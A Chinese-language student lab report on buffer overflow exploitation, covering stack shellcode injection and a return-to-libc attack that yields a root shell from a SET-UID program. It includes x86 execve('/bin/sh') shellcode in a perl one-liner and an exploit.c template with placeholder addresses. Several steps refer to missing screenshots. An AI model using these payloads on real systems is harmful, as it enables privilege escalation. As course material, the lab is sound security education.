20145206邹京儒《网络对抗技术》 PC平台逆向破解

注入shellcode并执行

一、准备一段shellcode

二、设置环境

具体在终端中输入如下：

apt-cache search execstackapt-get install execstackexecstack -s pwn1    //设置堆栈可执行execstack -q pwn1    //查询文件的堆栈是否可执行

三、构造要注入的payload

1.Linux下有两种基本构造攻击buf的方法：

//缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边1.retaddr+nop+shellcode2.nop+shellcode+retaddr

2、在终端中输入如下：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

3、打开一个新的终端窗口注入这段攻击buf

4、在另一个终端通过gdb调试确定返回地址

5.通过如下方式寻找需要输入的地址：

6.回到另一个终端，将input_shellcode修改如下：

成功了！

Retuen-to-libc实验

一、配置实验环境

2.关闭地址随机化：

二、漏洞程序

1.将漏洞程序保存在/tmp目录下，编译该程序，并设置SET-UID：

2.我们还需要用到一个读取环境变量的程序：

三、攻击程序

1.把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下

include 
    
     include 
     
      include 
      
       int main(int argc, char **argv){ char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh" *(long *) &buf[24] =0x22222222; // system() *(long *) &buf[36] =0x33333333; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);}
      
     
    

2.用刚才的getenvaddr程序获得BIN_SH地址:

3.利用gdb获得system和exit地址：

4.将找到的三个内存地址填写在exploit.c中：

5.删除刚才调试编译的exploit程序和badfile文件，重新编译修改后的exploit.c：

6.先运行攻击程序exploit，再运行漏洞程序retlib，攻击成功，获得了root权限：